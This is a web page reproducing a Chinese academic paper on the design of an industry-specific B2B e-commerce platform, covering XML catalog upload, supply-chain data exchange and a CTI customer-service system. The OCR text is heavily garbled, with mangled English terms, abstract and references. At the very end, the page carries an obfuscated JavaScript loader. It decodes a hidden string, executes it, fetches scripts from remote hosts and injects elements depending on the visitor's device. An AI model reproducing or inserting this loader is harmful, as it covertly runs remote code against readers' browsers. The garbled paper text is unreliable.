有1个网友回答
基于商务社区模式的行业性B2B电子商务平台
摘要: 通过对一个行业性B2B电子商务交易平台主要功能进行分析和设计,阐述了在构建中国企业
自己的B2B电子商务平台时应注意的若干要点和思想.
关键词: 电子商务:B2B;X~vIL;供应链;Call Cent~;客户关系管理
中图分类号:TP393 4 文献标识码:A 文章编号;1001-3695(2001)06-0096-03
Design Point about B2B E—business Trade Platform
Based on Com merce Comm unity
)rlE Shan. CHEN Jia-~ n
{Institute ofNawo~ &Database.College ofl~t'ormation Seieaee&Tedmology,Dc~glmaL'nlve,tsity,Shanghai 200051,a- )
Abstract: The article had a discussion on so]lt~points buiIdin~B2B bu3i gg solutio.ofCIEaese Enterprises through analyzing
and d igning prDfessio~ [B2B E·bminessplatform
Ke)rword~: E-bw.sineas;B2B;XML;Supp]yChain;CallCentex;,CustomerRctatle~hip-Management(CRM)
1 引言
企业级电子商务一般被简称为B2B的电子商务过
程,它是一个将买方、卖方以及服务于他们的中间商
(如金融机构)之间的信息交换和交易行为集成到一起
的电子运作方式。通过在网上开展B2B电子商务,可
以使企业直接在网上进行贸易洽谈、合同签约、交易
交割和资金结算, 从而虬最大限度减少流通环节, 降
低流通成本,让上网企业在交易过程中获得最佳效益
2 行业B2B系统的设计思想
设计中的“行业性B2B电子商务平台”面对的是
行业的最终用户和业内供应商和采购商,提供一个企
业间进行在线采购、营销、招标等活动的电子交易平
台,其主要交易方式为批量商品交易 参与实体分为
交易平台服务商和(企业)客户。其中前者提供了该电
子商务系统运营和维护所需要的硬件设备以及平台软
件, 同时保证客户网上认证和支付的安全性;而后者
既包括了企业间电子商务交易中的上游生产厂商、供
应商(卖方), 也包括了下游经销商、采购商(买方)。
事实上, 由于企业问交易的复杂性,往往一个企业会
兼有买卖双重身份,但具体到一敬交易行为来说,该
企业~ 般只具有单个身份
3 行业性B2B电子商务平台的总体设计
31 设计原理
收稿日期;2000.10.03
设计原则有以下几点:(1)先进性。整个系统的设
计无论从硬件服务器上,还是软件平台、开发工具方
面均采用目前最先进和最流行的方案 以确保应用系
统的先进性和开放性 f2)安全性 采用防火墙和用户
认证(cA懒术,在企业内部Latrmmt网和B2B电子商务
交易平台以及Internet~行隔离和验证。(3)可靠性和容
错性。B2B电子商务应用系统的稳定性是最重要的因
素之一 因此设计方案将采用先进的服务器硬件产
品、高可靠性的多机备份方案。(4)可扩展性 整个平
台系统开靛上采用模块化、可移植的数据库和应用体
系结构,保证整个应用平台能够随着入驻企业和业务
量的增加而进行性能和规模上的相应扩展。(5)标准性
和开放性 整个既可满足当前可实现的应用要求,又
能适应今后系统扩展的需要 (6)高性能。采用高性能
的数据库和web服务器, 系统性能卓越 同时, 由于
能动态地分配系统资源,提高了系统软硬件的利用
率 门沣富和易于使用的在线服务。为入驻及登录商
家选择丰富和实用的电子商务服务,使得商家在网上
信息发布,交易等商务活动的进行更方便和更具吸引
力 f8)易于维护。图形用户界面的远程维护工具使得
企业日常数据信息的维护工作简单易行
3 2 系统总体结构
图1为行业性B2B电子商务交易平台系统结构示
意圈。交易平台通i埘行业产品信息和会员企业的交
易数据集成,在平台内部建立技术先进, 同时适用于
国内外电子贸易的B2B电子商务应用系统。并对^驻的会员企业不论是买方还是卖方,不论是国内企业
还是国外企业一都统一提供完整的、符合国际电子商
务交易规范的应用服务。形成一个 入驻企业为主要
服务对象的电子商务交易社区。而对非入驻企业则对
其提供产品信息浏览,查询等服务
图l 交易平刍系统结构示意田
系统基本上采用基于Lnternet/[ntranet的Browse!
Server的结构:使用DHIML和XIvIL技术实现动态的
目录,企业用户通~.q/ntemct就可方便地网站交易。如
图1所示.可以将整个电子商务交易平台划分为以下
两个主要的子系统:
(1)交易平台管理子系统主要功能有:入驻会员管
理,并支持企业的客户关系管理系统:公基商务信息
管理 数据分析管理: 系统运营维护管理:用户认证
服务:在线安全支付服务。
(2)h驻企业子系统的主要功能有:与各自企业内
部系统的交易数据交换:在线发布信息服务,包括产
品、供求、寻求合作等功能;参照产品目录, 为供应
商实现 购物篮 功能: 竞价交易服务:业务分析功
能:管理和处理定单,应用商务逻辑规则, 与供应商
完成交易(企业与其供应商之间的业务关系均是按照
双方的约定进行的,简称为逻辑规则,如定单信息需
要审核、需要一定的保证金等)。在线的供应链连接
管理:在线招/t%标和管理 在线合同管理:其它信息
发布和管理
4 该82B电子商务平台系统的设计要点
B2B电子商务系统的设计和实现无论在功能上还
是在内部采用技术上都与B2C,C2C电子商务系统有
较大的不同。B2B电子商务由于在前端要为众多商家
服务,而其后端还要和多个企业内部系统相连, 进行
信息收集和交互工作。因此,B2B电子商务系统在平
台本身和各企业内部系统(如ERP,MIS)的信息交换和
资源共享方面有其独特的设计和实现方案。下面就从
动态目录发布,供应链管理, 客户服务系统的实现这
三个方面分别阐述它们的技术实现要点。
4.1 基于XML的动态目录管理和发布
B2B交易平台系统通过使用XML技术及相应开发
工具,开发出完整的为企业客户服务的动态目录管理
和发布解决方案, 以满足买方和卖方的需要。对于供
应商而言,能够提供经济有效而且方便的处理方法,
以使其能方便快捷地定制和发布目录信息内容。并能
让供应商单独对其发布的产品目录进行增、删、查询
等管理, 同时又能汇总多个供应商的产品名录成为网
站统一的产品目录让所有买家都能够访问。因此,对
于买方而言,这个解决方案可以快速地使其找到需要
的买方产品目录,简化了筛选和购买一项新产品和服
务的处理流程。目录发布支持两种方式:批量装载(适
用于大容量数据装载)、在线发布(适用于小批量数据
装载和更新)。在线发布就是传统的基于BrowscdScrver
的远程登录在线录入数据,因此下面就批量装载这种
较新的产品目录撒据发布方案进行简要分析和设计。
·准备目录内容: 在装载一个目录内容到网站上
之前,供应商可以核对目录内容是否符台要求的目录
制定标准, 以保证所有目录满足标准。这些标准是网
站在线发布,企业用户可以方便的获取。
· 批量装载目录内容: 网站接收的目录格式为
XIvIL格式数据文件 为了创建一个XIvIL文件,供应
商首先从系统下载一个XML资源包, 这个资源包包
括:文件类型定义、一个XML范倒文件和指导信息。
一旦收集好目录项的信息,就可以使用文本编辑器或
XIvIL生成程序脱机创建xML文件。
· 向网站提交数据:一旦以任何一种格式建立目
录 供应商就可登录到网站的在线发布目录入口,并
提交这个文件。当该任务完成时,系统产生一个通知
发给供应商。这个通知内容包括:成功装载的目录行
信息和被系统拒绝的产品目录信息(如果有的话)。
·载入数据库:网站在服务器端接收到企业客户
提交的目录数据文件后,再经过XML文件格式校验合
格后,启动XML-数据库数据转换工具, 将该XML格
式的目录文件自动转换为数据库中的数据进行存放。
·发布成统一产品目录: 网站在线同时将后台数
据库中更新过的企业产品目录数据,重新发布为到统
一目录中。这时,该网站的所以用户都可以浏览该目
录信息 而提交的供应商用户也可以在线修改自己发
布的目录数据。
(企业佣户产品目录批量装载的流程简图如图2。
图2 产品目录批量装载流程图
4 2 供应链集成管理系统设计
在行业性的B2B交易平台中,供应链系统是其中
一个重要的子系统,通过该供应链管理系统,实现了
制造商与分销商,零售商之间端到端的供应链管理, 缩
短了供销链,帮助制造商和分销商提高了周转效率,更低的营运成本超越竞争对手, 确保领先优势
对于行业性的B2B电子商务交易平台, 供应链的
集成需要连接制造商、生产商、分销商、零售商,处于
交易平台中的企业之间需要多方面的数据交换和处
理,而通过行业的一套XML标准通信,可以无需了解
交易对方的内部数据库结构 在供应链中,需要交换
的数据都可以XML形式统一交换
在图3中, 电子商务平台系统中的B2B集成服务
器处在供应商和分销商,零售商的数据交换的中间位
置 通过位于B2B集成服务器、供应商和零售商的分
布式系统,卖方(供应商)和卖方(分销商,零售商)两个
系统之间的通信部是完全自动进行的
一
圉3 供应链管理系统结构图
买方如果要访问B2B电子商务平台连接的供应商
ERP系统以获得零件的存货水平, 可 用XML消息的
形式向B2B集成服务器发出请求, 并通过HTTP协议
的标准的POSTh-法将请求发送出去 B2B集成服务器
将这些请求弼译成对口 系统的调用,然后再把来自
供应商ERP系统的应答信息翻译成XML应答信息,并
发送给查询信息的分销商,零售商。
处于交易平台另一端的卖方(供应商)内部系统也
可访问分销商,零售商的数据。为了将对供应商的影响
减至最低.B2B使用了标准的URI和CGI查询方式来请
求数据,并在应答消息中使用HTML~XML来统一不
同系统的交换数据 接收到买方传来的应答消息后,
B2B集成服务器就可把传输来的HTMLSNXML转换成
适合卖方系统处理的数据表示,然后再把已转换的数
据传递该系统,从而完成一个请求膻答的工作循环。
该供应链集成管理系统将^驻交易平台的供应商
和分销商紧密地集成起来 在该系统中,任一企业用
户系统都能和与之有商务往来的企业系统进行采购计
划通信,且不要求该系统对因特网、XML或其它企业
用户系统的接口有任何了解
4.3 基于CTI的客户服务系统方案
在企业与企业的交易行为中, 无论是从交易前的
产品和贸易伙伴的浏览、查询, 到交易行为的发生,
以及交易后的支付和配送,网站和客户之间, 以及买
方客户和卖方客户之间都会发生大量的、方便的、快
捷的信息交换, 因此仅通过WWW,~NE.fnail等信息交
换是不够的。而基于CTI的客户服务系统恰恰弥补了
这方面的不足。CTI(Computer Telephone Integration)
是“计算机.电话集成 的缩写,它将传统的、基于
电话的Call Center技术与当今基于Web的电子商务应
用相集成, 在交易平台和用户之间建立了~,Web方式
以外的信息交换方式,如电话,Fax等, 为企业用户
提供主动式的、一对一的行销,太大加强了交易平台
与^驻企业客户之间的关系。该系统工作流程如图4。
囝4 c11工作流程囝
该系统在将客户的浏览网页记录提供给服务专员
的同时,还可以在客户上网的时间内不断搜集客户资
料并了解跟踪客户的商务行为,并且和企业内原有客
户记录整合, 当某一新产品推出时,就自}立即找到适
当的潜在客户,发动网络行销 该客户服务系统方案
能把整个交易平台中所有的市场和客户的信息进行统
一管理、共享,井能进行有效分析,从而为企业用户
的销售、营销、客户服务等提供全面的支持。
5 结束语
本文所阐述的行业性B2B电子商务构建方案,在
尽可能利用B2B电子商务的长处的同时,也充分考虑
到中国企业和中国网络环境的具体特点 使得该方案
有较好的性价比和伸缩性 可以为那些建设网上垂直
交易市场的中国企业提供全面的技术解决方案和外包
服务,帮助这些传统企业建设自己的网上交易系统。
每一个企业部可以迅速地建立自己的网上市场,把任
何一个垂直行业中的购买者和供应商连接在一起,创
造新的盈利机会。通过该B2B电子商务平台解决方
案,那些在各个行业内部具备行业背景优势、产品技
术优势和信息资源优势的行业领导性企业可以更快地
建立自己的网上行业交易市场,为企业扫清电子商务
的技术障碍,尽最大程度减少基础投资和时间开销,
更快、更好地开展行业电子商务。
参考文献;
[11 Charles F Gold,Farb Pa p~scod.Ⅺ皿 实用枝术【M1 北京
清单太学出版社.1999
[21 A up c|ll 嘲1 Inc 娜血e I,CT.WEB3 0 Technical
w k P|p吐fRl Ju眦2000
[31 Oraclec唧OracbExchange]:'ropoM]lR]AP l 2000
【4】J J Dub~ay.An Extensible 0 睇t Medel for Business t0
Business n Systems[R]February,2000
【j】D Wieam~r.E.business Pro~ss En 眦:A Solar/on Framework
forE-basiaessIi~ 'allon限】.Whi~ePap~%August1999
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();